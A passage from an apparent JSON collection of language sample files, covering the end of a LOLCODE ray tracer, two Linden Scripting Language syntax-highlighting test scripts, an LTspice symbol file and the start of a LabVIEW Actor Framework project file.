MKAY\n        l R Vector IZ normalizin YR l MKAY\n        BTW r = The half-vector\n        I HAS A r ITZ Vector IZ dot_productin YR n AN YR d MKAY\n        r R PRODUKT OF r AN -2\n        r R Vector IZ scalin YR n AN YR r MKAY\n        r R Vector IZ addin YR d AN YR r MKAY\n\n        BTW Calculate the lambertian factor\n        I HAS A b ITZ Vector IZ dot_productin YR l AN YR n MKAY\n\n        BTW Calculate illumination factor (lambertian coefficient > 0 or in shadow)?\n        I HAS A illumination_result ITZ I IZ tracin YR h AN YR l MKAY\n        I HAS A i_m ITZ illumination_result'Z m\n        EITHER OF DIFFRINT b AN BIGGR OF b AN 0 AN BOTH SAEM i_m AN 2, O RLY?\n            YA RLY, b R 0\n        OIC\n\n        BTW Calculate the color 'p' with diffuse and specular component\n        I HAS A base\n        DIFFRINT b AN SMALLR OF b AN 0, O RLY?\n            YA RLY, base R 1\n            NO WAI, base R 0\n        OIC\n        base R Vector IZ scalin YR r AN YR base MKAY\n        base R Vector IZ dot_productin YR l AN YR r MKAY\n        I HAS A p ITZ I IZ power_of YR base AN YR 99 MKAY\n\n        BOTH SAEM m AN 1, O RLY?\n            YA RLY\n                BTW No sphere was hit and the ray was going downward: Generate a floor color\n                h R Vector IZ scalin YR h AN YR 0.2 MKAY\n                I HAS A ceil_h_x ITZ I IZ ceilin YR h'Z x MKAY\n                I HAS A ceil_h_y ITZ I IZ ceilin YR h'Z y MKAY\n                I HAS A ceil_h ITZ SUM OF ceil_h_x AN ceil_h_y\n                ceil_h IS NOW A NUMBR\n                I HAS A color_choice ITZ MOD OF ceil_h AN 2\n                I HAS A color ITZ LIEK A Vector\n                color_choice, O RLY?\n                    YA RLY\n                        color HAS A x ITZ 3\n                        color HAS A y ITZ 1\n                        color HAS A z ITZ 1\n                    NO WAI\n                        color HAS A x ITZ 3\n                        color HAS A y ITZ 3\n                        color HAS A z ITZ 3\n                OIC\n                FOUND YR Vector IZ scalin YR color AN YR SUM OF PRODUKT OF b AN 0.2 AN 0.1 MKAY\n        OIC\n\n        BTW m == 2 A sphere was hit. Cast a ray bouncing from the sphere surface.\n        I HAS A sphere_color ITZ LIEK A Vector\n        sphere_color HAS A x ITZ p\n        sphere_color HAS A y ITZ p\n        sphere_color HAS A z ITZ p\n        I HAS A recursive_color ITZ I IZ samplin YR h AN YR r MKAY\n        BTW Attenuate color by 50% since it is bouncing (* .5)\n        recursive_color R Vector IZ scalin YR recursive_color AN YR 0.5 MKAY\n        FOUND YR Vector IZ addin YR sphere_color AN YR recursive_color MKAY\n    IF U SAY SO\n\n\n    OBTW The vector class provides functionality for all the common\n         linear algebra operations performed on vectors.\n    TLDR\n    O HAI IM Vector\n        I HAS A x ITZ 0\n        I HAS A y ITZ 0\n        I HAS A z ITZ 0\n\n        BTW Add vector_one and vector_two\n        HOW IZ I addin YR vector_one AN YR vector_two\n            I HAS A result ITZ LIEK A Vector\n            result HAS A x ITZ 0\n            result HAS A y ITZ 0\n            result HAS A z ITZ 0\n            result'Z x R SUM OF vector_one'Z x AN vector_two'Z x\n            result'Z y R SUM OF vector_one'Z y AN vector_two'Z y\n            result'Z z R SUM OF vector_one'Z z AN vector_two'Z z\n            FOUND YR result\n        IF U SAY SO\n\n        BTW Scale vector_one by value\n    HOW IZ I scalin YR vector_one AN YR value\n            I HAS A result ITZ LIEK A Vector\n            result HAS A x ITZ 0\n            result HAS A y ITZ 0\n            result HAS A z ITZ 0\n            result'Z x R PRODUKT OF vector_one'Z x AN value\n            result'Z y R PRODUKT OF vector_one'Z y AN value\n            result'Z z R PRODUKT OF vector_one'Z z AN value\n            FOUND YR result\n        IF U SAY SO\n\n        BTW Dot product of vector_one and vector_two\n        HOW IZ I dot_productin YR vector_one AN YR vector_two\n            FOUND YR SUM OF SUM OF PRODUKT OF vector_one'Z x AN vector_two'Z x AN ...\n                                   PRODUKT OF vector_one'Z y AN vector_two'Z y AN ...\n                                   PRODUKT OF vector_one'Z z AN vector_two'Z z\n        IF U SAY SO\n\n        BTW Cross product of vector_one and vector_two\n        HOW IZ I cross_productin YR vector_one AN YR vector_two\n        I HAS A result ITZ LIEK A Vector\n            result HAS A x ITZ 0\n            result HAS A y ITZ 0\n            result HAS A z ITZ 0\n            result'Z x R DIFF OF PRODUKT OF vector_one'Z y AN vector_two'Z z AN ...\n                                 PRODUKT OF vector_one'Z z AN vector_two'Z y\n            result'Z y R DIFF OF PRODUKT OF vector_one'Z z AN vector_two'Z x AN ...\n                                 PRODUKT OF vector_one'Z x AN vector_two'Z z\n            result'Z z R DIFF OF PRODUKT OF vector_one'Z x AN vector_two'Z y AN ...\n                                 PRODUKT OF vector_one'Z y AN vector_two'Z x\n            FOUND YR result\n        IF U SAY SO\n\n        BTW Length of vector_one\n        HOW IZ I lengthin YR vector_one\n            FOUND YR I IZ square_rootin YR ...\n                SUM OF SUM OF PRODUKT OF vector_one'Z x AN vector_one'Z x AN ...\n                              PRODUKT OF vector_one'Z y AN vector_one'Z y AN ...\n                              PRODUKT OF vector_one'Z z AN vector_one'Z z MKAY\n        IF U SAY SO\n\n        BTW Normalize vector_one\n        HOW IZ I normalizin YR vector_one\n            I HAS A result ITZ LIEK A Vector\n            result HAS A x ITZ 0\n            result HAS A y ITZ 0\n            result HAS A z ITZ 0\n            I HAS A length ITZ Vector IZ lengthin YR vector_one MKAY\n            BOTH SAEM length AN 0, O RLY?\n                YA RLY\n                    length R 1\n            OIC\n            result'Z x R QUOSHUNT OF vector_one'Z x AN length\n            result'Z y R QUOSHUNT OF vector_one'Z y AN length\n            result'Z z R QUOSHUNT OF vector_one'Z z AN length\n            FOUND YR result\n        IF U SAY SO\n\n        BTW Printable YARN version of vector\n        HOW IZ I to_stringin YR vector\n            FOUND YR SMOOSH \"[\" AN vector'Z x AN \", \" ...\n                                AN vector'Z y AN \", \" ...\n                                AN vector'Z z AN \"]\" MKAY\n        IF U SAY SO\n\n        BTW Create and return a vector with components x, y, and z\n        HOW IZ I constructin YR x AN YR y AN YR z\n            I HAS A result ITZ LIEK A Vector\n            result HAS A x ITZ x\n            result HAS A y ITZ y\n            result HAS A z ITZ z\n            FOUND YR result\n        IF U SAY SO\n    KTHX\n\n    OBTW The positions of the spheres are essentially\n         stored in a 2-D array. This differs from Kensler's\n         version where he used bit flags to store the\n         positions in a compressed and quickly accessed\n         manner. Unfortunately for us, bit operations\n         in LOLCODE were too slow for this to be a tenable\n         solution.\n    TLDR\n    I HAS A sphere_positions ITZ A BUKKIT\n    I HAS A sphere_positions_0 ITZ A BUKKIT\n    IM IN YR LOOP UPPIN YR pos_index TIL BOTH SAEM pos_index AN 19\n        sphere_positions_0 HAS A SRS pos_index ITZ FAIL\n    IM OUTTA YR LOOP\n    sphere_positions HAS A SRS 0 ITZ sphere_positions_0\n    I HAS A sphere_positions_1 ITZ A BUKKIT\n    sphere_positions_1 HAS A SRS 0 ITZ WIN\n    BTW sphere_positions_1 HAS A SRS 0 ITZ FAIL\n    sphere_positions_1 HAS A SRS 1 ITZ FAIL\n    sphere_positions_1 HAS A SRS 2 ITZ WIN\n    BTW sphere_positions_1 HAS A SRS 2 ITZ FAIL\n    sphere_positions_1 HAS A SRS 3 ITZ FAIL\n    sphere_positions_1 HAS A SRS 4 ITZ WIN\n    BTW sphere_positions_1 HAS A SRS 4 ITZ FAIL\n    sphere_positions_1 HAS A SRS 5 ITZ FAIL\n    sphere_positions_1 HAS A SRS 6 ITZ FAIL\n    sphere_positions_1 HAS A SRS 7 ITZ WIN\n    BTW sphere_positions_1 HAS A SRS 7 ITZ FAIL\n    sphere_positions_1 HAS A SRS 8 ITZ FAIL\n    sphere_positions_1 HAS A SRS 9 ITZ WIN\n    BTW sphere_positions_1 HAS A SRS 9 ITZ FAIL\n    sphere_positions_1 HAS A SRS 10 ITZ FAIL\n    sphere_positions_1 HAS A SRS 11 ITZ WIN\n    BTW sphere_positions_1 HAS A SRS 11 ITZ FAIL\n    sphere_positions_1 HAS A SRS 12 ITZ FAIL\n    sphere_positions_1 HAS A SRS 13 ITZ FAIL\n    sphere_positions_1 HAS A SRS 14 ITZ WIN\n    BTWsphere_positions_1 HAS A SRS 14 ITZ FAIL\n    sphere_positions_1 HAS A SRS 15 ITZ FAIL\n    sphere_positions_1 HAS A SRS 16 ITZ WIN\n    BTW sphere_positions_1 HAS A SRS 16 ITZ FAIL\n    sphere_positions_1 HAS A SRS 17 ITZ FAIL\n    sphere_positions_1 HAS A SRS 18 ITZ WIN\n    BTW sphere_positions_1 HAS A SRS 18 ITZ FAIL\n    sphere_positions HAS A SRS 1 ITZ sphere_positions_1\n    I HAS A sphere_positions_2 ITZ A BUKKIT\n    IM IN YR LOOP UPPIN YR pos_index TIL BOTH SAEM pos_index AN 19\n        sphere_positions_2 HAS A SRS pos_index ITZ FAIL\n    IM OUTTA YR LOOP\n    sphere_positions HAS A SRS 2 ITZ sphere_positions_2\n    I HAS A sphere_positions_3 ITZ A BUKKIT\n    sphere_positions_3 HAS A SRS 0 ITZ FAIL\n    sphere_positions_3 HAS A SRS 1 ITZ FAIL\n    sphere_positions_3 HAS A SRS 2 ITZ FAIL\n    sphere_positions_3 HAS A SRS 3 ITZ FAIL\n    sphere_positions_3 HAS A SRS 4 ITZ WIN\n    BTW sphere_positions_3 HAS A SRS 4 ITZ FAIL\n    sphere_positions_3 HAS A SRS 5 ITZ FAIL\n    sphere_positions_3 HAS A SRS 6 ITZ FAIL\n    sphere_positions_3 HAS A SRS 7 ITZ WIN\n    BTW sphere_positions_3 HAS A SRS 7 ITZ FAIL\n    sphere_positions_3 HAS A SRS 8 ITZ FAIL\n    sphere_positions_3 HAS A SRS 9 ITZ FAIL\n    sphere_positions_3 HAS A SRS 10 ITZ FAIL\n    sphere_positions_3 HAS A SRS 11 ITZ WIN\n    sphere_positions_3 HAS A SRS 12 ITZ FAIL\n    sphere_positions_3 HAS A SRS 13 ITZ FAIL\n    sphere_positions_3 HAS A SRS 14 ITZ FAIL\n    sphere_positions_3 HAS A SRS 15 ITZ FAIL\n    sphere_positions_3 HAS A SRS 16 ITZ FAIL\n    sphere_positions_3 HAS A SRS 17 ITZ FAIL\n    sphere_positions_3 HAS A SRS 18 ITZ WIN\n    BTW sphere_positions_3 HAS A SRS 18 ITZ FAIL\n    sphere_positions HAS A SRS 3 ITZ sphere_positions_3\n    I HAS A sphere_positions_4 ITZ A BUKKIT\n    IM IN YR LOOP UPPIN YR pos_index TIL BOTH SAEM pos_index AN 19\n        sphere_positions_4 HAS A SRS pos_index ITZ FAIL\n    IM OUTTA YR LOOP\n    sphere_positions HAS A SRS 4 ITZ sphere_positions_4\n    I HAS A sphere_positions_5 ITZ A BUKKIT\n    sphere_positions_5 HAS A SRS 0 ITZ FAIL\n    sphere_positions_5 HAS A SRS 1 ITZ FAIL\n    sphere_positions_5 HAS A SRS 2 ITZ FAIL\n    sphere_positions_5 HAS A SRS 3 ITZ FAIL\n    sphere_positions_5 HAS A SRS 4 ITZ WIN\n    BTW sphere_positions_5 HAS A SRS 4 ITZ FAIL\n    sphere_positions_5 HAS A SRS 5 ITZ FAIL\n    sphere_positions_5 HAS A SRS 6 ITZ FAIL\n    sphere_positions_5 HAS A SRS 7 ITZ WIN\n    BTW sphere_positions_5 HAS A SRS 7 ITZ FAIL\n    sphere_positions_5 HAS A SRS 8 ITZ FAIL\n    sphere_positions_5 HAS A SRS 9 ITZ WIN\n    BTW sphere_positions_5 HAS A SRS 9 ITZ FAIL\n    sphere_positions_5 HAS A SRS 10 ITZ FAIL\n    sphere_positions_5 HAS A SRS 11 ITZ WIN\n    BTW sphere_positions_5 HAS A SRS 11 ITZ FAIL\n    sphere_positions_5 HAS A SRS 12 ITZ FAIL\n    sphere_positions_5 HAS A SRS 13 ITZ FAIL\n    sphere_positions_5 HAS A SRS 14 ITZ FAIL\n    sphere_positions_5 HAS A SRS 15 ITZ FAIL\n    sphere_positions_5 HAS A SRS 16 ITZ FAIL\n    sphere_positions_5 HAS A SRS 17 ITZ FAIL\n    sphere_positions_5 HAS A SRS 18 ITZ WIN\n    BTW sphere_positions_5 HAS A SRS 18 ITZ FAIL\n    sphere_positions HAS A SRS 5 ITZ sphere_positions_5\n    I HAS A sphere_positions_6 ITZ A BUKKIT\n    IM IN YR LOOP UPPIN YR pos_index TIL BOTH SAEM pos_index AN 19\n        sphere_positions_6 HAS A SRS pos_index ITZ FAIL\n    IM OUTTA YR LOOP\n    sphere_positions HAS A SRS 6 ITZ sphere_positions_6\n    I HAS A sphere_positions_7 ITZ A BUKKIT\n    IM IN YR LOOP UPPIN YR pos_index TIL BOTH SAEM pos_index AN 19\n        sphere_positions_7 HAS A SRS pos_index ITZ FAIL\n    IM OUTTA YR LOOP\n    sphere_positions HAS A SRS 7 ITZ sphere_positions_7\n    I HAS A sphere_positions_8 ITZ A BUKKIT\n    IM IN YR LOOP UPPIN YR pos_index TIL BOTH SAEM pos_index AN 19\n        sphere_positions_8 HAS A SRS pos_index ITZ FAIL\n    IM OUTTA YR LOOP\n    sphere_positions HAS A SRS 8 ITZ sphere_positions_8\n\n    BTW Camera direction\n    I HAS A g ITZ Vector IZ constructin YR -6.0 AN YR -16.0 AN YR 0.0 MKAY\n    g R Vector IZ normalizin YR g MKAY\n\n    BTW Camera up vector\n    I HAS A a ITZ Vector IZ constructin YR 0.0 AN YR 0.0 AN YR 1.0 MKAY\n    a R Vector IZ cross_productin YR a AN YR g MKAY\n    a R Vector IZ normalizin YR a MKAY\n    a R Vector IZ scalin YR a AN YR 0.002 MKAY\n    BTW Camera right vector\n    I HAS A b ITZ Vector IZ cross_productin YR g AN YR a MKAY\n    b R Vector IZ normalizin YR b MKAY\n    b R Vector IZ scalin YR b AN YR 0.002 MKAY\n    BTW Camera eye offset\n    I HAS A c ITZ Vector IZ addin YR a AN YR b MKAY\n    c R Vector IZ scalin YR c AN YR -256.0 MKAY\n    c R Vector IZ addin YR c AN YR g MKAY\n\n    I HAS A max_x ITZ 511\n    I HAS A max_y ITZ max_x\n    BTW Issue the PPM Header info\n    VISIBLE \"P3 \" SUM OF max_x AN 1 \" \" SUM OF max_y AN 1 \" 255\"!\n\n    I HAS A viewpoint ITZ Vector IZ constructin YR 17 AN YR 16 AN YR 8 MKAY\n\n    I HAS A y ITZ max_y\n    IM IN YR y_loop\n        BOTH SAEM y AN -1, O RLY?\n            YA RLY, GTFO\n        OIC\n        I HAS A x ITZ max_x\n        IM IN YR x_loop\n            BOTH SAEM x AN -1, O RLY?\n                YA RLY, GTFO\n            OIC\n            I HAS A pixel_color ITZ Vector IZ constructin YR 13 AN YR 13 AN YR 13 MKAY\n\n            I HAS A rays ITZ 64\n            IM IN YR ray_loop\n                BOTH SAEM rays AN 0, O RLY?\n                    YA RLY, GTFO\n                OIC\n\n                BTW The delta to apply to the origin of the view (For Depth of View blur).\n                I HAS A a_rand ITZ DIFF OF I IZ rand_onein MKAY AN 0.5\n                I HAS A t_a ITZ Vector IZ scalin YR a AN YR a_rand MKAY\n                t_a R Vector IZ scalin YR t_a AN YR 99.0 MKAY\n                I HAS A b_rand ITZ DIFF OF I IZ rand_onein MKAY AN 0.5\n                I HAS A t_b ITZ Vector IZ scalin YR b AN YR b_rand MKAY\n                t_b R Vector IZ scalin YR t_b AN YR 99.0 MKAY\n                I HAS A t ITZ Vector IZ addin YR t_a AN YR t_b MKAY\n\n                I HAS A origin ITZ Vector IZ addin YR viewpoint AN YR t MKAY\n\n                BTW Ray direction with random deltas for stochastic sampling\n                I HAS A direction_up ITZ SUM OF I IZ rand_onein MKAY AN x\n                direction_up R Vector IZ scalin YR a AN YR direction_up MKAY\n                I HAS A direction_right ITZ SUM OF I IZ rand_onein MKAY AN y\n                direction_right R Vector IZ scalin YR b AN YR direction_right MKAY\n                I HAS A direction_t ITZ Vector IZ scalin YR t AN YR -1 MKAY\n                I HAS A direction ITZ Vector IZ addin YR direction_right AN YR direction_up MKAY\n                direction R Vector IZ addin YR direction AN YR c MKAY\n                direction R Vector IZ scalin YR direction AN YR 16 MKAY\n                direction R Vector IZ addin YR direction AN YR direction_t MKAY\n                direction R Vector IZ normalizin YR direction MKAY\n\n                I HAS A sample_color ITZ I IZ samplin YR origin AN YR direction MKAY\n                sample_color R Vector IZ scalin YR sample_color AN YR 3.5 MKAY\n                BTW + pixel_color for color accumulation\n                pixel_color R Vector IZ addin YR sample_color AN YR pixel_color MKAY\n                rays R DIFF OF rays AN 1\n            IM OUTTA YR ray_loop\n            I HAS A write_color ITZ pixel_color\n            write_color'Z x IS NOW A NUMBR\n            write_color'Z y IS NOW A NUMBR\n            write_color'Z z IS NOW A NUMBR\n            DIFFRINT write_color'Z x AN BIGGR OF write_color'Z x AN 0, O RLY?\n                YA RLY, write_color'Z x R 0\n            OIC\n            DIFFRINT write_color'Z y AN BIGGR OF write_color'Z y AN 0, O RLY?\n                YA RLY, write_color'Z y R 0\n            OIC\n            DIFFRINT write_color'Z z AN BIGGR OF write_color'Z z AN 0, O RLY?\n                YA RLY, write_color'Z z R 0\n            OIC\n            VISIBLE \" \" write_color'Z x \" \" ...\n                    \" \" write_color'Z y \" \" ...\n                    \" \" write_color'Z z \" \"!\n            x R DIFF OF x AN 1\n        IM OUTTA YR x_loop\n        y R DIFF OF y AN 1\n    IM OUTTA YR y_loop\n\nKTHXBYE\n"
  },
  {
    "path": "samples/LSL/LSL.lsl",
    "content": "/*\n    Testing syntax highlighting\n    for the Linden Scripting Language\n*/\n\ninteger someIntNormal       = 3672;\ninteger someIntHex          = 0x00000000;\ninteger someIntMath         = PI_BY_TWO;\n\ninteger event               = 5673;// 'event' is invalid.illegal\n\nkey someKeyTexture          = TEXTURE_DEFAULT;\nstring someStringSpecial    = EOF;\n\nsome_user_defined_function_without_return_type(string inputAsString)\n{\n    llSay(PUBLIC_CHANNEL, inputAsString);\n}\n\nstring user_defined_function_returning_a_string(key inputAsKey)\n{\n    return (string)inputAsKey;\n}\n\ndefault\n{\n    state_entry()\n    {\n        key someKey = NULL_KEY;\n        someKey = llGetOwner();\n\n        string someString = user_defined_function_returning_a_string(someKey);\n\n        some_user_defined_function_without_return_type(someString);\n    }\n\n    touch_start(integer num_detected)\n    {\n        list agentsInRegion = llGetAgentList(AGENT_LIST_REGION, []);\n        integer numOfAgents = llGetListLength(agentsInRegion);\n\n        integer index;                                                          // defaults to 0\n        for (; index <= numOfAgents - 1; index++)                               // for each agent in region\n        {\n            llRegionSayTo(llList2Key(agentsInRegion, index), PUBLIC_CHANNEL, \"Hello, Avatar!\");\n        }\n    }\n\n    touch_end(integer num_detected)\n    {\n        someIntNormal       = 3672;\n        someIntHex          = 0x00000000;\n        someIntMath         = PI_BY_TWO;\n\n        event               = 5673;// 'event' is invalid.illegal\n\n        someKeyTexture      = TEXTURE_DEFAULT;\n        someStringSpecial   = EOF;\n\n        llSetInventoryPermMask(\"some item\", MASK_NEXT, PERM_ALL);// 'llSetInventoryPermMask' is reserved.godmode\n\n        llWhisper(PUBLIC_CHANNEL, \"Leaving \\\"default\\\" now...\");\n        state other;\n    }\n}\n\nstate other\n{\n    state_entry()\n    {\n        llWhisper(PUBLIC_CHANNEL, \"Entered \\\"state other\\\", returning to \\\"default\\\" again...\");\n        state default;\n    }\n}\n"
  },
  {
    "path": "samples/LSL/LSL.lslp",
    "content": "/*\n    Testing syntax highlighting\n    for the Linden Scripting Language\n*/\n\ninteger someIntNormal       = 3672;\ninteger someIntHex          = 0x00000000;\ninteger someIntMath         = PI_BY_TWO;\n\ninteger event               = 5673;// 'event' is invalid.illegal\n\nkey someKeyTexture          = TEXTURE_DEFAULT;\nstring someStringSpecial    = EOF;\n\nsome_user_defined_function_without_return_type(string inputAsString)\n{\n    llSay(PUBLIC_CHANNEL, inputAsString);\n}\n\nstring user_defined_function_returning_a_string(key inputAsKey)\n{\n    return (string)inputAsKey;\n}\n\ndefault\n{\n    state_entry()\n    {\n        key someKey = NULL_KEY;\n        someKey = llGetOwner();\n\n        string someString = user_defined_function_returning_a_string(someKey);\n\n        some_user_defined_function_without_return_type(someString);\n    }\n\n    touch_start(integer num_detected)\n    {\n        list agentsInRegion = llGetAgentList(AGENT_LIST_REGION, []);\n        integer numOfAgents = llGetListLength(agentsInRegion);\n\n        integer index;                                                          // defaults to 0\n        for (; index <= numOfAgents - 1; index++)                               // for each agent in region\n        {\n            llRegionSayTo(llList2Key(agentsInRegion, index), PUBLIC_CHANNEL, \"Hello, Avatar!\");\n        }\n    }\n\n    touch_end(integer num_detected)\n    {\n        someIntNormal       = 3672;\n        someIntHex          = 0x00000000;\n        someIntMath         = PI_BY_TWO;\n\n        event               = 5673;// 'event' is invalid.illegal\n\n        someKeyTexture      = TEXTURE_DEFAULT;\n        someStringSpecial   = EOF;\n\n        llSetInventoryPermMask(\"some item\", MASK_NEXT, PERM_ALL);// 'llSetInventoryPermMask' is reserved.godmode\n\n        llWhisper(PUBLIC_CHANNEL, \"Leaving \\\"default\\\" now...\");\n        state other;\n    }\n}\n\nstate other\n{\n    state_entry()\n    {\n        llWhisper(PUBLIC_CHANNEL, \"Entered \\\"state other\\\", returning to \\\"default\\\" again...\");\n        state default;\n    }\n}\n"
  },
  {
    "path": "samples/LTspice Symbol/random-shapes.asy",
    "content": "Version 0\r\nSymbolType BLOCK\r\nLINE Normal 28 8 132 -36 2\r\nLINE Normal 132 -36 184 12 2\r\nLINE Normal 184 12 -224 56 2\r\nLINE Normal -224 56 -172 -32 2\r\nLINE Normal -172 -32 -248 -32 2\r\nRECTANGLE Normal -72 -56 60 -44 2\r\nRECTANGLE Normal -100 -56 -80 140 2\r\nRECTANGLE Normal -64 32 60 48 2\r\nRECTANGLE Normal -68 128 60 140 2\r\nRECTANGLE Normal 60 141 200 80 2\r\nCIRCLE Normal 136 24 172 60 2\r\nARC Normal -240 16 -136 148 -240 16 -144 136 2\r\nTEXT -52 -80 Center 2 This is the work of a confused man.\r\nPIN -128 -16 TOP 8\r\nPINATTR PinName 1\r\nPINATTR SpiceOrder 1\r\nPIN -48 0 VBOTTOM 8\r\nPINATTR PinName 2\r\nPINATTR SpiceOrder 2\r\nPIN -224 80 LEFT 8\r\nPINATTR PinName I'm so lost.\r\nPINATTR SpiceOrder 3\r\n"
  },
  {
    "path": "samples/LabVIEW/Actor Framework Fundamentals.lvproj",
    "content": "﻿<?xml version='1.0' encoding='UTF-8'?>\r\n<Project Type=\"Project\" LVVersion=\"19008000\">\r\n\t<Property Name=\"CCSymbols\" Type=\"Str\">AF_Debug_Trace,FALSE;</Property>\r\n\t<Property Name=\"NI.LV.All.SourceOnly\" Type=\"Bool\">true</Property>\r\n\t<Property Name=\"NI.LV.ExampleFinder\" Type=\"Str\">&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;\r\n&lt;nidna:ExampleProgram \r\n    xmlns:nidna=\"http://www.ni.com/Schemas/DNA/1.0\" \r\n    xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" \r\n    xsi:schemaLocation=\"http://www.ni.com/Schemas/DNA/1.0 ..\\DNA\\1.0\\NiExampleProgram.xsd\" \r\n    SchemaVersion=\"1.0\" \r\n    ContentType=\"EXAMPLE\" \r\n&lt;Title&gt;\r\n\t&lt;Text Locale=\"US\"&gt;Actor Framework Fundamentals.lvproj&lt;/Text&gt;\r\n&lt;/Title&gt;\r\n&lt;Description&gt;\r\n\t&lt;Text Locale=\"US\"&gt; Demonstrates the use of the Actor Framework to create a simulation of a coffee shop. The Actor Framework facilitates applications that consist of multiple, independent tasks that communicate with each other.&lt;/Text&gt;\r\n&lt;/Description&gt;\r\n&lt;Keywords&gt; \r\n &lt;Item&gt;actor&lt;/Item&gt; \r\n &lt;Item&gt;framework&lt;/Item&gt; \r\n &lt;Item&gt;af&lt;/Item&gt; \r\n &lt;Item&gt;class&lt;/Item&gt; \r\n &lt;Item&gt;actors&lt;/Item&gt; \r\n &lt;Item&gt;classes&lt;/Item&gt; \r\n &lt;Item&gt;frameworks&lt;/Item&gt; \r\n &lt;Item&gt;design&lt;/Item&gt; \r\n &lt;Item&gt;pattern&lt;/Item&gt; \r\n &lt;Item&gt;patterns&lt;/Item&gt; \r\n&lt;/Keywords&gt; \r\n&lt;Navigation&gt; \r\n &lt;Item&gt;3154&lt;/Item&gt; \r\n &lt;Item&gt;8419&lt;/Item&gt; \r\n&lt;/Navigation&gt; \r\n&lt;FileType&gt;LV Project&lt;/FileType&gt;\r\n&lt;Metadata&gt;\r\n&lt;Item Name=\"RTSupport\"&gt;LV Project&lt;/Item&gt;\r\n&lt;/Metadata&gt;\r\n&lt;ProgrammingLanguages&gt;\r\n&lt;Item&gt;LabVIEW&lt;/Item&gt;\r\n&lt;/ProgrammingLanguages&gt;\r\n&lt;RequiredSoftware&gt;\r\n&lt;NiSoftware MinVersion=\"13.0\"&gt;LabVIEW&lt;/NiSoftware&gt; \r\n&lt;/RequiredSoftware&gt;</Property>\r\n\t<Property Name=\"NI.Project.Description\" Type=\"Str\">Demonstrates the use of the Actor Framework to create a simulation of a coffee shop. The Actor Framework facilitates applications that consist of multiple, independent tasks that communicate with each other.</Property>\r\n\t<Property Name=\"SMProvider.SMVersion\" Type=\"Int\">201310</Property>\r\n\t<Item Name=\"My Computer\" Type=\"My Computer\">\r\n\t\t<Property Name=\"IOScan.Faults\" Type=\"Str\"></Property>\r\n\t\t<Property Name=\"IOScan.NetVarPeriod\" Type=\"UInt\">100</Property>\r\n\t\t<Property Name=\"IOScan.NetWatchdogEnabled\" Type=\"Bool\">false</Property>\r\n\t\t<Property Name=\"IOScan.Period\" Type=\"UInt\">10000</Property>\r\n\t\t<Property Name=\"IOScan.PowerupMode\" Type=\"UInt\">0</Property>\r\n\t\t<Property Name=\"IOScan.Priority\" Type=\"UInt\">9</Property>\r\n\t\t<Property Name=\"IOScan.ReportModeConflict\" Type=\"Bool\">true</Property>\r\n\t\t<Property Name=\"IOScan.StartEngineOnDeploy\" Type=\"Bool\">false</Property>\r\n\t\t<Property Name=\"NI.SortType\" Type=\"Int\">1</Property>\r\n\t\t<Property Name=\"server.app.propertiesEnabled\" Type=\"Bool\">true</Property>\r\n\t\t<Property Name=\"server.control.propertiesEnabled\" Type=\"Bool\">true</Property>\r\n\t\t<Property Name=\"server.tcp.enabled\" Type=\"Bool\">false</Property>\r\n\t\t<Property Name=\"server.tcp.port\" Type=\"Int\">0</Property>\r\n\t\t<Property Name=\"server.tcp.serviceName\" Type=\"Str\">My Computer/VI Server</Property>\r\n\t\t<Property Name=\"server.tcp.serviceName.default\" Type=\"Str\">My Computer/VI Server</Property>\r\n\t\t<Property Name=\"server.vi.callsEnabled\" Type=\"Bool\">true</Property>\r\n\t\t<Property Name=\"server.vi.propertiesEnabled\" Type=\"Bool\">true</Property>\r\n\t\t<Property Name=\"specify.custom.address\" Type=\"Bool\">false</Property>\r\n\t\t<Item Name=\"Actors\" Type=\"Folder\">\r\n\t\t\t<Item Name=\"People\" Type=\"Folder\">\r\n\t\t\t\t<Property Name=\"NI.SortType\" Type=\"Int\">3</Property>\r\n\t\t\t\t<Item Name=\"Customers\" Type=\"Folder\">\r\n\t\t\t\t\t<Item Name=\"Customer.lvlib\" Type=\"Library\" URL=\"../Classes/Customer.lvlib\"/>\r\n\t\t\t\t\t<Item Name=\"Customer With Cell Phone.lvlib\" Type=\"Library\" URL=\"../Classes/Customer/Children/Customer With Cell Phone.lvlib\"/>\r\n\t\t\t\t</Item>\r\n\t\t\t\t<Item Name=\"Workers\" Type=\"Folder\">\r\n\t\t\t\t\t<Item Name=\"Barista.lvclass\" Type=\"LVClass\" URL=\"../Classes/Worker/Barista/Barista.lvclass\"/>\r\n\t\t\t\t\t<Item Name=\"Cashier.lvclass\" Type=\"LVClass\" URL=\"../Classes/Worker/Cashier/Cashier.lvclass\"/>\r\n\t\t\t\t\t<Item Name=\"Worker.lvlib\" Type=\"Library\" URL=\"../Classes/Worker.lvlib\"/>\r\n\t\t\t\t</Item>\r\n\t\t\t\t<Item Name=\"Person.lvlib\" Type=\"Library\" URL=\"../Classes/Person.lvlib\"/>\r\n\t\t\t</Item>\r\n\t\t\t<Item Name=\"Coffee Shop.lvlib\" Type=\"Library\" URL=\"../Classes/Coffee Shop.lvlib\"/>\r\n\t\t\t<Item Name=\"Work Dispatcher.lvlib\" Type=\"Library\" URL=\"../Classes/Work Dispatcher.lvlib\"/>\r\n\t\t</Item>\r\n\t\t<Item Name=\"Support Classes (non-actors)\" Type=\"Folder\">\r\n\t\t\t<Item Name=\"Beverage.lvclass\" Type=\"LVClass\" URL=\"../Classes/Beverages/Beverage/Beverage.lvclass\"/>\r\n\t\t\t<Item Name=\"Entity Table.lvclass\" Type=\"LVClass\" URL=\"../Classes/Entity Table/Entity Table.lvclass\"/>\r\n\t\t\t<Item Name=\"Order Item.lvclass\" Type=\"LVClass\" URL=\"../Classes/Order/Order Item.lvclass\"/>\r\n\t\t\t<Item Name=\"Order.lvclass\" Type=\"LVClass\" URL=\"../Classes/Order/Order.lvclass\"/>\r\n\t\t</Item>\r\n\t\t<Item Name=\"Utilities\" Type=\"Folder\">\r\n\t\t\t<Property Name=\"NI.SortType\" Type=\"Int\">1</Property>\r\n\t\t\t<Item Name=\"Find Type.vi\" Type=\"VI\" URL=\"../Utilities/Find Type.vi\"/>\r\n\t\t\t<Item Name=\"Names.txt\" Type=\"Document\" URL=\"../Utilities/Names.txt\"/>\r\n\t\t\t<Item Name=\"Random Name Generator.vi\" Type=\"VI\" URL=\"../Utilities/Random Name Generator.vi\"/>\r\n\t\t</Item>\r\n\t\t<Item Name=\"Launcher.vi\" Type=\"VI\" URL=\"../Launcher.vi\"/>\r\n\t\t<Item Name=\"Readme.html\" Type=\"Document\" 